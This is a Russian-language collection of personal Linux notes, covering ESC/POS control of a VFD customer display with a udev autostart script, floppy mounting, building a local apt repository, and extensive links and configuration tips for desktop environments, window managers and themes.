Символы закодированы в ПЗУ дисплея и доступны для вывода в диапазоне от 0x20 до 0xFF байта. И если диапазон от 0x20 до 0x7F, это стандартная кодовая страница ANSI, то диапазон от 0x80 до 0xFF выделен для дополнительных кодовых страниц, например кириллицы. Для переключения кодовых страниц используется команда ESC t n, где n, это номер кодовой страницы. Пример:



для замены символы доллара(код 0x26 в таблице символов нашего дисплея) на символ тенге с таким-же кодом, нам понадобится ESC/POS команда следующего вида:
$ echo -n -e \\x1b\\x26\\x01\\x24\\x24\\x05\\x50\\x50\\x5f\\x50\\x50 > /dev/ttyUSB0

Включаем загруженные символы командой ESC % n, где значение n единица или ноль в зависимости от того, включены или нет загруженные символы:
$ echo -n -e \\x1b\\x25\\x01 > /dev/ttyUSB0

Проверяем работу:
$ echo -n -e 1500$ > /dev/ttyUSB0

Программирование

Теперь осталось сделать автоматическим при подключении инициализацию кириллицы и загрузку символа тенге. Для этого нам необходимо установить для udev правила автоматического запуска bash-скрипта при подключение дисплея покупателя к Raspberry Pi. Командой udevadm узнаём код вендора и модели нашего дисплея.
$ udevadm info -q all -n /dev/ttyUSB0 | grep -E -i -w '.*VENDOR_ID.*|.*MODEL_ID.*'

E: ID_MODEL_ID=2303
E: ID_VENDOR_ID=067b

Создаём правила 90-init-vfd-display.rules:
$ sudo nano /etc/udev/rules.d/90-init-vfd-display.rules

, следующего содержания:



и скрипт:
$ sudo nano /usr/local/bin/init-vfd-display.sh

#!/bin/bash

sleep 20

echo -n -e \\x1B\\x40 > /dev/ttyUSB0
echo -n -e \\x1B\\x74\\x07 > /dev/ttyUSB0
echo -n -e \\x1B\\x26\\x01\\x24\\x24\\x05\\x50\\x50\\x5F\\x50\\x50 > /dev/ttyUSB0

sleep 3

Делаем исполняемым bash-скрипт и активируем наши правила:
$ sudo chmod +x /usr/local/bin/init-vfd-display.sh
$ sudo udevadm control --reload-rules
$ sudo udevadm trigger --action=add
$ sudo service udev restart

Пробуем одновременно использовать символ доллара и тенге переключая их поочерёдно.
$ echo -n -e 1$ =\\x1B\\x25\\x01 181,95$ \\x1B\\x25\\x00 > /dev/ttyUSB0

####################################################################################

Для корректной работы с ДП установим скорость передачи данных:
stty -F /dev/ttyUSB0 9600

Для очистки экрана дисплея выполним команду:
echo -e -n "\x0c\x0b" > /dev/ttyUSB0

echo — команда вывода в терминал. Опция -e — включает поддержку вывода escape-последовательностей, -n — указывает, что не надо выводить перевод строки. Допускается запись -en.
0с — очистка экрана дисплея и отмена строчного режима, 0b — перемещает курсор в верхнюю крайнюю левую позицию. Символ > — управление потоком (перенаправляет вывод). В данном случае в файл /dev/ttyUSB0 нашего устройства

команду изменяющую скорость для передачи данных на устройство можно было записать и так:
stty 9600 < /dev/ttyUSB0

Ну и для вывода сообщений на русском языке выполним:
echo -n "Привет!" | iconv -f UTF-8 -t CP866 > /dev/ttyUSB0

| — перенаправляет вывод одной команды на вход другой (конвейер). В нашем случае последовательность символов "Привет!" не выводится в файл устройства сразу, а передаётся на "конвертирование" утилите iconv. iconv — преобразует из одной кодировки в другую.



Работа с СОМ-портом на Си в linux
Неизвестный UART: теория


Внезапно обнаружил что в ubuntu 14.04 флопик подключается с правами на запись только для root, странно вроде 21 век на дворе уж и забыть пора (не о флопиках, о них налоговая помнит, а о монтировании их в консоли), но видать так отучают юзверей от старых технологий
лекарство оказалось простое - нужно добавить в fstab опцию umask=000 запись должна выглядеть так:

/dev/fd0   /media/floppy0   auto   rw,user,noauto,exec,umask=000,utf8   0  0


лекарство нашёл тут
http://forum.ubuntu.ru/index.php?topic=75447.msg565430#msg565430


Создадим директорию arch в удобном для Вас месте (я выбрал /home/user):
mkdir /home/user/arch

В ней еще поддиректорию deb:
mkdir /home/user/arch/deb

Теперь копируем все deb пакеты из /var/cache/apt/archives/ в /home/user/arch/deb:
cp /var/cache/apt/archives/*.deb /home/user/arch/deb

развернуть
Скачиваем и устанавливаем пакет dpkg-dev:
sudo apt-get update
sudo apt-get dist-upgrade (это не обязательно, не всегда нужно обновлять ВСЕ пакеты)
sudo apt-get install dpkg-dev

Теперь нам нужно создать индексные файлы для наших пакетов утилитой dpkg-scanpackages (из пакета dpkg-dev), которые будет использовать утилита apt-get:
cd /home/user/arch/deb
dpkg-scanpackages . /dev/null | gzip -9c > Packages.gz (или просто gzip, без -9c)

Вот и все, осталось добавить новый репозиторий в /etc/apt/sources.list:
sudo echo "deb file:/home/user/arch/deb ./" >>/etc/apt/sources.list

И обновим все листы:
sudo apt-get update

Вот и все, наш локальный репозиторий создан Wink

Более простой метод. Использование утилиты apt-move:

Устанавливаем утилиту apt-move:
sudo apt-get install apt-move

Формируем мастер-файл:
sudo apt-move get

Переносим все пакеты из /var/cache/apt/archives в /mirrors:
apt-move move

Удаляем устаревшие пакеты:
apt-move delete

Создадим Packages.gz и Sources.gz дерева локального зеркала:
apt-move packages

Собираем установленные пакеты:
Как я уже говорил, пакеты в /var/cache/apt/archives хранятся не вечно (это так сказать темп). Поэтому многие установленные пакеты в этой директории потираются. Есть очень простой метод сборки всех установленных пакетов в системе в одну директорию:

mkdir /home/user/deb
cd /home/user/deb
sudo dpkg --get-selections | grep -v "deinstall" | awk '{print $1}' | xargs dpkg-repack

Процесс может занять некоторое время (в зависимости от количества установленных пакетов), так что можете спокойно выпить чашку чая (или кофе, кто как любит Wink ) и подождать пока все пакеты не соберутся (кстати если завершить выполнение скрипта посредством нажатия комбинации клавиш Ctrl+C, то после повторного запуска скрипта процесс сборки пакетов начнется не сначала, а будет продолжаться дальше). После того как скрипт завершит свое выполнение, в директории /home/user/dev вы обнаружите кучу deb файлов. Далее дело за Вами, как я описывал выше остается только создать индексные файлы и прописать ссылку в файл /etc/apt/sources.list

Для тех кто не дружит с консолью, есть очень простая и дружелюбная GUI утилита APTonCD (sudo apt-get install aptoncd). Она все сделает за Вас. Ею можно собрать все пакеты и добавить свои дополнительные, а затем создать iso образ диска и записать его на CD или DVD командой cdrecord -v -eject speed=4 -dev=/dev/hdc my_repo.iso, где my_repo.iso образ диска, который вы создали.

http://mydebianblog.blogspot.ru/2013/10/deb-debian.html
------------------------------------------------------------------------
Aptly – свой репозиторий с контролем версий
Создаем собственный репозиторий для 1С:Предприятие в среде Linux
Создаем собственный репозиторий для 1С:Предприятие в среде Linux




среда рабочего стола часть 2

Linux

рабочий стол в консоли


themes
site themes
Freedesktop
http://debian-art.org/
https://debianforum.ru/index.php?board=45.0

https://www.reddit.com/r/unixporn/
https://www.linux.org.ru/gallery/
https://github.com/sleekmason/extra-themes

ЛЕГКО СОЗДАВАЙТЕ СВОИ СОБСТВЕННЫЕ ТЕМЫ GTK НА ОСНОВЕ NUMIX С OOMOX
Графическое приложение для создания различных цветовых вариаций тем Oomox (на основе Numix), Materia (ex-Flat-Plat) и Arc (GTK2, GTK3, Cinnamon, GNOME, Openbox, Xfwm), Archdroid, Gnome-Color, Numix, Papirus и Suru ++ иконки темы.
https://github.com/themix-project/oomox

годные тёмные темы
https://github.com/B00merang-Project/B00merang-Themes
https://github.com/Ferdi265/numix-solarized-gtk-theme +++
Solarized-Dark-COLORPACK ++
https://github.com/rtlewis88/rtl88-Themes/tree/Solarized-Dark-gtk-theme-colorpack
Material-Solarized Complete-Desktop
https://github.com/rtlewis88/rtl88-Themes/tree/Material-Solarized
Solarized-BLACK
https://github.com/rtlewis88/rtl88-Themes/tree/Solarized-BLACK
https://github.com/schemar/solarc-theme
material-black-MAGIC - Semi-Transparent Variety Pack
https://github.com/rtlewis88/rtl88-Themes/tree/material-black-MAGIC
Breeze-Noir-Dark-GTK ++
https://github.com/L4ki/Breeze-Noir-Dark-GTK
Harmony-Dark ++
https://github.com/L4ki/Harmony-Dark
Back To Black +++
https://github.com/L4ki/Back-To-Black-GTK-3-Theme
Dark-Side +++
https://github.com/paullinuxthemer/Dark-Side
Dark-openSUSE
https://github.com/L4ki/Dark-openSUSE-GTK-2-3-Theme
Breeze-Blue-Dark +
https://github.com/L4ki/Breeze-Blue-Dark-GTK-3-Theme
Gently +
https://github.com/L4ki/Gently-GTK-3-Theme
Cyanogen ++
https://gitlab.gnome.org/cbowman57/cyanogen-theme
XFCE Dark Themes - Box Set ++
https://github.com/solsticeman/XFCE-Themes
Kogir-dark ++
https://github.com/freefreeno/Kogir
Baebae-gtk ++
https://github.com/freefreeno/Baebae-KDE
Karitim-Dark-GTK ++
https://github.com/freefreeno/Karitim-dark-gtk
Steel-Teal Theme
https://github.com/solsticeman/Steal-Teal-GTK3.20-Theme
NiteFlite Темы +
Hacking_Parrot_OS +
Arc Night
https://github.com/malvery/gtk-theme-arc-night
Ambiance DS BlueSB12
Trinity +
https://github.com/Elbullazul/Trinity
E5150
https://github.com/ju1464/E5150_Themes
ChromeOs-Dark
https://github.com/rtlewis88/rtl88-Themes/tree/ChromeOS-Dark
https://github.com/catppuccin/catppuccin
https://github.com/catppuccin/gtk
Hacking_Parrot

(эта только под gtk2)
https://www.opendesktop.org/p/1015989/
https://www.opendesktop.org/content/show.php/Emerge?content=157362
Dark-Olympic

закосы под CDE
Common Desktop
https://github.com/B00merang-Project/Solaris-9
CDE-Solaris gtk2
CDE / Motif theme GTK3/4
Breeze CDE
CDE for KDE
cdepanel

закосы под винду
https://github.com/grassmunk/Chicago95
https://github.com/Stanton731/Memphis98
Redmond97
https://github.com/matthewmx86/Redmond97
XP Professional
https://github.com/B00merang-Project/Windows-XP
Aero
https://github.com/Elbullazul/Windows-7
Redstone
https://github.com/B00merang-Project/Windows-10
Server 2019
https://github.com/B00merang-Project/Windows-Server-2019/
Server 2003
https://github.com/B00merang-Project/Windows-Server-2003

иконки
https://win98icons.alexmeub.com/
https://www.gnome-look.org/p/1331475/

темы для qmmp
https://skins.webamp.org/

OS/2 Warp 4
https://github.com/B00merang-Project/OS-2-Warp-4/



Wayland
https://github.com/varmd/wayward

запуск
cat ~/.profile


'XDG_SESSION_TYPE=wayland gnome-session'

weston labwc sway swayfx riverwm hyprwm nwg-shell miracle-wm wayfire wlmaker niri

панель
https://github.com/Alexays/Waybar
https://github.com/LBCrion/sfwbar
https://codeberg.org/dnkl/yambar

DE
https://wiki.archlinux.org/index.php/Desktop_environment_(Русский)
https://lorwiki.org.ru/wiki/Список_DM,_WM_и_прочих_компонентов_рабочего_окружения

KDE
https://kde.org/distributions
https://neon.kde.org/
https://www.trinitydesktop.org/index.php
https://github.com/KDE/kde1-kdebase
https://github.com/heliocastro/kde1
https://github.com/heliocastro/kde2
Сборка KDE4 для Slackware 15.0 в стиле KTown — сборка на основе патчей PBSLACKS.
https://github.com/BrunoLafleur/pbslacks


XFCE
https://forum.xfce.org/index.php
https://goodies.xfce.org/projects/panel-plugins/start
https://docs.xfce.org/start
https://github.com/rhino-linux/unicorn

sudo apt-get install xfce4-whiskermenu-plugin
sudo apt-get install xfce4-clipman-plugin
sudo apt-get install menulibre

xfce4-settings-editor

профили дисплея в xfce4
xrandr --verbose --query
xfce4-display-settings
xfconf-query -c displays -lv
~/.config/xfce4/xfconf/xfce-perchannel-xml/displays.xml

https://docs.xfce.org/xfce/xfce4-settings/4.16/display
«Диспетчер настроек» > «Экран» > «Дополнительно» > создать профиль для текущей конфигурации

https://b00merang-project.github.io/
https://www.xfce-look.org/p/1314848
https://github.com/B00merang-Project/Unity-7
https://github.com/B00merang-Project/Windows-7
https://github.com/B00merang-Project/Windows-XP
https://github.com/B00merang-Project/Windows-95
https://github.com/B00merang-Project/Solaris-9



LXQt
https://lxqt-project.org/
https://github.com/lxqt/lxqt-themes
https://www.opendesktop.org/browse?cat=446
https://github.com/AzumaHazuki?tab=repositories



Enlightenment
https://www.enlightenment.org/
https://www.enlightenment.org/docs/distros/ubuntu-start.md
https://repo.4e.by/
https://www.enlightenment-themes.org/
https://www.pling.com/s/Enlightenment/browse/
https://github.com/search?q=Enlightenment+themes&type=repositories



Etoile
http://etoileos.com/downloads/
https://github.com/etoile/Etoile
http://gnustep.org/
https://www.altlinux.org/GNUstep_(DE)
http://download.opensuse.org/repositories/X11:/GNUstep/
/usr/lib64/GNUstep/Applications/EtoileMenuServer

В состав Etoile входят подсистемы:

  • CoreObject - фреймворк для определения и организации взаимодействия объектов. Поддерживает сохранение состояния объекта (persistence) и лог версионных изменений (versioning), путем записи всех поступающих к объектам запросов.
  • LanguageKit - набор средств компиляции, основанных на использовании LLVM, для разработки на динамических языках программирования поверх Objective-C runtime.
  • EtoileFoundation - основной фреймворк Etoile, базирующийся на методах OpenStep;
  • EtoileUI - высокоуровневый тулкит для построения пользовательского интерфейса;
  • Camaelon - движок для отображения визуальных тем;
  • LuceneKit - фреймворк для организации полнотекстового поиска;
  • UnitKit - фреймворк для тестирования приложений;
  • MediaKit - мультимедиа подсистема;
  • SystemConfig - система для конфигурирования;
  • ScriptKit - средство для создания приложений на языках, отличных от Objective-C и Smalltalk;
  • Azalea - оконный менеджер;
  • AddressKit - средства для работы с адресной книгой, совместимы с AddressesKit для Mac OS X;
  • AZDock и AZSwitch - управляющая панель (dock) и менеджер переключения задач;
  • MenuServer - реализация MacOS-подобных горизонтальных меню;
  • StepChat - Jabber-клиент;
  • Vindaloo - программа для просмотра PDF;
  • Typewriter - текстовый редактор.



CDE
https://sourceforge.net/projects/cdesktopenv/
https://sourceforge.net/p/cdesktopenv/wiki/LinuxBuild/
http://toastytech.com/guis/sol.html
https://guidebookgallery.org/screenshots/cde15solaris9

закосы
CDE Plasma 5
Цвета: https://www.opendesktop.org/p/1252211/
Декорации: https://www.opendesktop.org/p/1252116/
Даже панельку чувак запилил: https://www.opendesktop.org/p/1231243/

XFCE Common Desktop
https://github.com/B00merang-Project/Solaris-9

Fvwm CDE тема.
http://fvwmforums.org/wiki/Decor/CDE/

https://github.com/NsCDE/NsCDE (FVWM)

А кто это у нас тут КДЕ под СДЕ косит? Оригинал таки!

настроить fb
sudo vi /etc/default/grub
Find the line starting with GRUB_CMDLINE_LINUX_DEFAULT, and add video=hyperv_fb:[the resolution you want].

русские шрифты
$xset +fp /usr/share/fonts/X11/75dpi-ISO8859-5/
$Update Cache xfonts
sudo xset fp rehash
sudo fc-cache -fv
нужно руками править «fonts.alias, fonts.dir, encodings.dir» и вручную добавлять шрифты в систему




Прочие
https://www.dracolinux.org/
https://lumina-desktop.org/
https://unityd.org/
https://lomiri.com/
https://edeproject.org/
https://sde-gui.github.io/
https://github.com/onflapp/gs-desktop
https://plainde.github.io/
https://github.com/plainDE

https://arcan-fe.com/
https://github.com/letoram
https://durden.arcan-fe.com/
https://github.com/letoram/durden

https://github.com/HeyPuter/puter
https://github.com/getumbrel/umbrel


http://rus-linux.net/lib.php?name=/po/00_base_xwin.koi


WM
https://wiki.archlinux.org/index.php/Window_manager_(Русский)
https://pkgsrc.se/wm
https://www.freshports.org/x11-wm/
http://ftp.netbsd.org/pub/pkgsrc/current/pkgsrc/wm/
https://packages.gentoo.org/categories/x11-wm
http://www.xwinman.org/others.php
http://wiki.opennet.ru/TWM
разница между DE и WM, а также работа в голых иксах
gtk3 мышка колёсико WM
http://lib.ru/unixhelp/fonty.txt Кирилизация


Awesome WM
https://wiki.archlinux.org/index.php/Awesome_(Русский)
https://help.ubuntu.ru/wiki/awesome

super + number переход на другой тэг, где тэг это номер клавиши, точнее его положение (проводя аналогию с другими wm, тэг = вирт. рабочий стол).
super + shift + number перенести текущее окно на другой тэг.
super + j, super+k переход между окнами.
super + shift + j или super + shift + k поменять местами два окна.
super + Space изменение отображения окон. (В awesome очень много видов отображений — тайлинговые: вертикально, горизонтально; композитные — можно мышкой таскать; приложение в фокусе на весь экран и пр.)
super + Enter запустить терминал.
super + r запуск программы.
super+shift+c закрыть окно.
super+shift+r перезапустить awesome.
super+shift+q выйти из awesome.

i3
GOAPPLE: быстрая настройка I3-wm
https://github.com/Avdushin/GOAPPLE

sway
https://github.com/swaywm/sway
https://wiki.archlinux.org/title/sway
https://wiki.gentoo.org/wiki/Sway
SwayWM — сам себе UnixPorn


DWM
https://wiki.archlinux.org/title/Dwm
Создание простого для использования конфига DWM


FVWM
https://www.fvwm.org/Wiki/Config/
https://wiki.archlinux.org/title/FVWM
https://ru.bmstu.wiki/index.php?title=FVWM
FVWM - Строим свой wm (с преферансом и куртизанками)
Первые шаги с FVWM
https://man.freebsd.org/cgi/man.cgi?query=fvwm
http://arnaud.fortier-family.com/wiki/doku.php/fvwm/config
https://github.com/yaoguai/fvwm-min/blob/master/config
https://lorwiki.org.ru/wiki/FVWM
http://ironphoenix.org/fvwm/configs/

https://www.fvwm.org/
https://github.com/fvwmorg/
http://fvwm-crystal.sourceforge.net/
http://fvwm-nightshade.github.io/Fvwm-Nightshade/
https://github.com/urob/fvwm-tiling
https://fvwm-themes.sourceforge.net/
https://www.box-look.org/browse?cat=143
http://fvwm.xirr.com/non-std.html
https://vakuumverpackt.de/fvwm/
https://github.com/vakuum/fvwm-mtp


fvwm1
https://github.com/fvwmorg/fvwm1
http://fvwm.xirr.com/fvwm1.html
https://github.com/NishiOwO/fvwm1



fvwm2

Minim
Black Crystal
fvwm starter's kit

простейший конфиг, ~/.fvwm/config




конфиги с лора
https://gitlab.com/z_m_c/fvwm
https://github.com/Minda1975/FVWM-configs
https://github.com/Minda1975/FVWM-configuration
https://github.com/Minda1975/Minimal-FVWM
https://github.com/Minda1975/Again-FVWM
https://github.com/alexmihajlov/fvwm
https://github.com/yaoguai/fvwm-min
https://github.com/v1cont/ydesk
https://pastebin.com/fsrBZNJ0
https://pastebin.com/2QTFp3bN
https://pastebin.com/W1LYmYbr
https://github.com/111LUX/FVWM
https://github.com/zoomten/fvwm2-sgi
https://github.com/dmatveev/.fvwm

.fvwm2rc Дональда Кнута

https://github.com/NsCDE/NsCDE (закос под CDE)

зависание fvwm-menu-desktop во время создания меню и сбой с исключением python при использовании --get-menus
ValueError: Name node can't be used with "'True'" constant
https://gitlab.freedesktop.org/xdg/pyxdg/-/commit/9b913229ace838958e51a16cabc41905a2460f7b
Начиная с Python 3.8.4, когда ast.Name экземпляр создается с помощью True, Falseи None, возникает ошибка ValueError [1][2]



fvwm-crystal
править файлы
/usr/share/fvwm-crystal/fvwm/preferences/DeskPageX
/usr/share/fvwm-crystal/fvwm/preferences/DefaultTerminal
/usr/share/fvwm-crystal/fvwm/components/functions/Keyboard-Modifiers
изменить



/usr/share/fvwm-crystal/fvwm/components/bindings/Misc-Keybindings
/usr/share/fvwm-crystal/fvwm/components/bindings/Misc-Keybindings_NumLock
добавить между # Main menu и # XDG application menu



отображение программ тут
/usr/share/fvwm-crystal/fvwm/Applications/

дефолтные клавиши
Alt+Right_Win вызывает меню приложений, а Alt+Menu вызывает системное меню
Alt + ` открывает QuakeConsole
Alt + Shift + ` открывает новый терминал
Alt + F1, F2, F3, F4, F5, F6, F7, F8 переключает рабочие столы
Alt + h, j, k, l и Alt + Shift + h, j, k, l перемещают активное окно в различные позиции на экране.
Alt + KP_1, KP_2, KP_3, KP_4, KP_5, KP_6, KP_7, KP_8, KP_9 аналогично вышеописанной функции
KP_/ сворачивает окно в заголовок и обратно
Alt + Shift + F1, F2, F3, F4, F5, F6, F7, F8 перемещают активное окно на соответствующий рабочий стол
Alt + Shift + KP_ или Alt + Shift + Backspace закрывает активное окно
Alt + KP_ или Alt + Backspace сворачивает текущее окно
Полный же список клавиш можно узнать из файлов /usr/share/doc/fvwm-crystal/Keyboard bindings.txt.gz и /usr/share/doc/fvwm-crystal/Mouse bindings.txt.gz


Openbox
obconf obmenu obmenu-generator obkey obsession obbrowser obapps

https://github.com/shaggyz/obmenu-qt
https://github.com/keithbowes/obmenu
https://github.com/0x10/obmenu2

openbox тайлинг
https://github.com/Minda1975/window-managers-configs/blob/master/config/openbox/rc.xml

themes:
установка тем
tar -xavf Nord-Openbox.tar.xz && tar -czvf Nord-Openbox.obt Nord-Openbox
obconf

https://github.com/sleekmason/Themes/tree/master/Openbox-themes

Nord Openbox theme
Xinit
E5150 Openbox
Arcbox
GreyBox
neo
Obiwine
Retro 5 Classic/98
Windows Classic [2000/ME/XP] inspired Openbox theme
Retro 6 XP Luna
Retro 7 Aero/Vista
Retro 4 Wrap
Micro 95
twm theme
Retro 1 China Terminal
Indigo
Black Irish OpenBox Theme
Tron Green
M4qu3l4n-01-Box
Oxygen: Medium Grey OB Theme
KDE4 Plastik OB
waldorf1314
Sapphire
NOXMOD
Hatta
Black Leather
stagnant
ACIDbox
BlueFear
Field+Stream
Sea2Sky
pudding pop
Goth/Industrial 2
Concrete
Debianized Focus Pocus
CoalMine
Storm
stellar
Inkpot Openbox
OpenRoyal



Fluxbox
https://wiki.archlinux.org/index.php/Fluxbox_(Русский)
http://fluxbox.sourceforge.net/docbook/ru/html/book1.html
Как настроить Fluxbox за 5 минут в Debian/Ubuntu или Fedora
http://bisheng-linux.blogspot.com/2011/07/5-minute-guide-to-fluxbox.html
http://www.linuxcookbook.ru/articles/nastroyka-fluxbox
https://addy-dclxvi.github.io/post/my-fluxbox/

Поместить в ~./fluxbox/startup
setxkbmap -layout "us,ru" -option "alt_shift_toggle,grp_led:scroll"
добавить там же в автозапуск
exec fluxbox & fbpid=$! sleep 1 { & fbsetbg -l &xxkb & } & wait $fbpid

автомонтирование
https://rmkrug.wordpress.com/2011/10/21/fluxboxandautomount/#comment-21
apt-get install udisks-glue

nano ~/.udisks-glue



sudo apt install xxkb
nano ~/.xxkbrc




рецепт выше не обязателен, вместо xxkb годится fbxkb, раскладка лучше системная, запуск лучше сделать однократным

Поместить в ~./fluxbox/startup перед exec fluxbox
pkill -9 fbxkb
/usr/bin/fbxkb &


~/.fluxbox/start_check.sh

start_check.sh




темы
sudo apt install lxappearance
~/.fluxbox/styles
https://www.box-look.org/browse/cat/139/
https://tenr.de/styles/
https://www.deviantart.com/customization/skins/themes/fluxbox/
https://github.com/sleekmason/Configuration/tree/master/.fluxbox
https://github.com/sleekmason/Configuration/tree/master/Fluxbox/styles

как добавить выключение и перезагрузку в меню fluxbox

nano $HOME/.fluxbox/menu



nano $HOME/.fluxbox/fbfav





WindowMaker
https://github.com/window-maker/wmaker
http://manpages.ubuntu.com/manpages/trusty/ru/man1/wmaker.1x.html
http://wiki.linuxformat.ru/wiki/LXF107:Освойтесь_в_Window_Maker

https://github.com/gnustep
GNUstep: разрывая все шаблоны
https://www.nextop.de/NeXTstep_3.3_Developer_Documentation/

http://www.cs.mun.ca/~gstarkes/wmaker/
https://www.linux.org.ru/tag/windowmaker?section=3
GlassHexagons window maker theme
Чтобы установить новую тему, достаточно распаковать архив в $HOME/GNUstep/Library/WindowMaker/Themes/

Под кнопкой Mod обычно подразумевается клавиша Alt на стандартной клавиатуре
F12	            Открыть меню приложений
F11	            Открыть список окон
Control+Escape	    Открыть меню для окна
Mod1+H	            Скрыть активное приложение1
Mod1+M	            Свернуть активное окно
Mod1+Up	            Активное окно наверх
Mod1+Down	    Активное окно вниз
Mod1+Tab	    Следующее окно из списка
Mod1+Shift+Tab	    Предыдущее окно из списка
Mod1+Control+Right  Следующее рабочее пространство
Mod1+Control+Left   Предыдущее рабочее пространство

Control+Up	Втянуть активное окно
Control+Left	Распахнуть активное окно по горизонтали
Control+Right	Распахнуть активное окно по вертикали
Control+Down	Распахнуть активное окно
Control+F11	Изменить размер окна


если вы случайно отключите WMClip и WMDock, единственный способ вернуть их в зад - отыскать в этом файле строки и заменить "YES" на "NO"
DisableClip = YES;
DisableDock = YES;

чтобы было нормальное изменение окон со стрелочками и размером, то вытащить из свежего дебиановского архива, напр
http://deb.debian.org/debian/pool/main/w/wmaker/wmaker_0.95.9-3.debian.tar.xz
debian/debianfiles/conf/WindowMaker и заменить ~/GNUstep/Defaults/WindowMaker

баги
если при смене обоев Apperance -> Васkground -> Gradient вылезает ошибка



то исправить в ~/GNUstep/Defaults/WMRootMenu



на





IceWM
cp /usr/share/icewm/menu $HOME/.icewm/menu
добавить в $HOME/.icewm/menu
menufile Programs1 folder programs1
создать меню programs1
vi $HOME/.icewm/programs1




vi $HOME/.icewm/startup



chmod +x $HOME/.icewm/startup

https://idesk.sourceforge.net/html/usage.html
https://wiki.archlinux.org/title/Idesk_(Русский)
sudo apt install idesk

распаковать в ~/.icewm/themes
https://github.com/bbidulock/icewm-extra-themes
Shades of Grey
Windows 2000 / ME inspired IceWM Theme
Windows7SE-Ice
IceWindows7
xp-new
Coronas Debian
Emerge2
Sky
Saphire-G
Icepuma
Ecogreen IceWM Theme
Blue Crystal IceWM Theme
Neon Theme Cyberpunk
Cupertino
Icewm Minimal Black theme
TrueGrey +
IceGraphite +
Icewm Minimal Black theme +
Icewm nord style ++


pekwm
https://github.com/pekwm/pekwm
https://wiki.archlinux.org/title/PekWM
https://giters.com/gapan/xdgmenumaker
mmaker --no-desktop pekwm
xdgmenumaker -f pekwm > ~/.pekwm/menu

добавить в ~/.pekwm/menu



pekwm_theme search
pekwm_theme show spiff-p
pekwm_theme install spiff-p

https://github.com/sleekmason/Configuration/tree/master/.pekwm


e16
https://www.enlightenment.org/e16
https://sourceforge.net/projects/enlightenment/files/

apt install libimlib2-dev libxft-dev libxinerama-dev libxrandr-dev libxcomposite-dev libsndfile-dev
как опции
libedbus-dev libpango1.0-dev libxpresent-dev
libpulse-dev libasound2-dev pulseaudio-esound-compat osspd
mesa-common-dev libgl1-mesa-dev libglu1-mesa-dev




apt purge libedbus-dev libpango1.0-dev libxpresent-dev и тд
apt autoremove

Следующие команды отображают список всех удалённых пакетов, чьи файлы настройки всё ещё остаются в системе (если таковые имеются):
sudo dpkg -l | awk '/^rc/ { print $2 }'
Эти пакеты могут быть удалены с помощью команды apt-get purge.
sudo apt-get purge $(dpkg -l | awk '/^rc/ { print $2 }')

Памятка по управлению пакетами в Debian и Ubuntu

поддержка тем GTK
sudo apt install lxappearance

годные темы
http://themes.effx.us/previews
http://themes.effx.us/e16
http://themes.effx.us/packages/e16/
https://github.com/dharrop/themes

7teenE Aliens Chaos Chrome BrushedMetal BrushedMotif Chaos Ganymede GreyMarble Industrial Metallique Nebulon

wget -P ~/.e16/themes http://themes.effx.us/packages/e16/BrushedMetal.etheme


w9wm
полнофункциональный апплет глобального меню
https://github.com/rilian-la-te/vala-panel-appmenu

sudo apt install w9wm 9menu
echo "9menu -label 'X_progs' thunar xfce4-terminal SeaMonkeyPortable chromium-browser mousepad nitrogen exit" > $HOME/.w9wmrc
w9wm -grey -virtuals 12
левый Ctrl+Shift+левая_кнопка_мышки - меню записанное в .w9wmrc
правая_кнопка_мышки - меню w9wm
средняя_кнопка_мышки - выбор рабочего стола


ctwm
https://www.ctwm.org/themes.html
https://datagubbe.se/twm/
http://www.xwinman.org/ctwm.php
http://troubleshooters.com/linux/ctwm/
http://www.reivax.org/projets/cts/


bspwm
https://codeberg.org/Karter_Kein/dotfiles


cwm
https://man.openbsd.org/cwmrc.5
https://findelabs.com/post/cwm-config/
https://romanzolotarev.com/openbsd/cwm.html


tvtwm
https://www.freshports.org/x11-wm/tvtwm
https://gitweb.gentoo.org/user/lmiphay.git/tree/x11-wm/tvtwm/tvtwm-11.ebuild
https://github.com/da4089/tvtwm
https://sourceforge.net/projects/tvtwm7/


qtile
https://qtile.org/
https://github.com/qtile/qtile
https://pypi.org/project/qtile/
https://github.com/qtile/qtile-examples/
https://pypi.org/project/qtile-profiles/
https://wiki.archlinux.org/title/Qtile
https://www.reddit.com/r/qtile/
https://github.com/Andrey0189/qtile-rice
https://github.com/DaniDiazTech/Qtile-Config
https://codeberg.org/Oglo12/personal-qtile-config
https://pastebin.com/k8yQqRUx

pip install qtile


Текстовые WM (wm в tty)
Viper Window Manager (VWM) — это легкий, расширяемый оконный менеджер для консоли.
http://vwm.sourceforge.net/index.html

Monotty Desktopio Текстовая среда рабочего стола внутри вашего терминала
https://github.com/netxs-group/vtm

Twin - это оконная среда с поддержкой мыши, оконным менеджером, эмулятором терминала и сетевыми клиентами, все внутри текстового дисплея.
https://github.com/cosmos72/twin


Прочие
afterstep nextspace
sawfish jwm
fvwm1 mwm vtwm olvwm fwmx blackbox
dwm xmonad spectrwm herbstluftwm notion ratpoison stumpwm musca
qtile

https://ftp.gwdg.de/pub/x11/x.org/contrib/window_managers/
https://sunsite.icm.edu.pl/pub/X11/contrib/window_managers/


https://wiki.archlinux.org/index.php/Comparison_of_tiling_window_managers_(Русский)


menu WM
vdesk 3 && mousepad
update-alternatives --config x-terminal-emulator
update-menus
https://www.debian.org/doc/packaging-manuals/menu.html/
/etc/menu/,/usr/share/menu/,/usr/lib/menu/,~/.menu/

pdmenu jgmenu

http://menumaker.sourceforge.net
https://github.com/gapan/xdgmenumaker

https://github.com/themad/xmenud/blob/master/xmenud.py
wget -P $HOME/bin https://raw.githubusercontent.com/themad/xmenud/master/xmenud.py
python2 xmenud.py
chmod +x xmenud.py
xmenud.py -t
xmenud.py -t -n

wget -P $HOME/Downloads/ https://sites.google.com/site/jvinla/myGtkMenu-1.3.tar.gz
mkdir -p $HOME/lib/myGtkMenu/
tar -xvzf $HOME/Downloads/myGtkMenu-1.3.tar.gz -C $HOME/lib/myGtkMenu/



chmod +x $HOME/bin/myGtkMenu






Windows

Litestep


Litestep как альтернативный рабочий стол на TS
Создание тем для LiteStep
http://litestep.info/overview/litestep-manual.html

blackbox


http://bb4win.sourceforge.net/bblean/
http://blackbox4windows.com
https://spoonm.org/bbzero/
http://www.boxshots.org/
http://www.boxshots.org/styles.zip
http://xoblite.net/

http://bb4win.sourceforge.net/styles.html
Радикальное решение всех проблем с интерфейсом Windows 8

bblean не отображается tray windows
Причина, по которой половина или более значков не отображаются, связана с тем, что explorer работает под bblean. Вам нужно будет убить его перед запуском оболочки blackbox, попробуйте что-то вроде этого

start_bb.bat



или грохнуть в taskmgr процесс explorer, затем запустить bbLean


bbIconBox.rc



Прочие


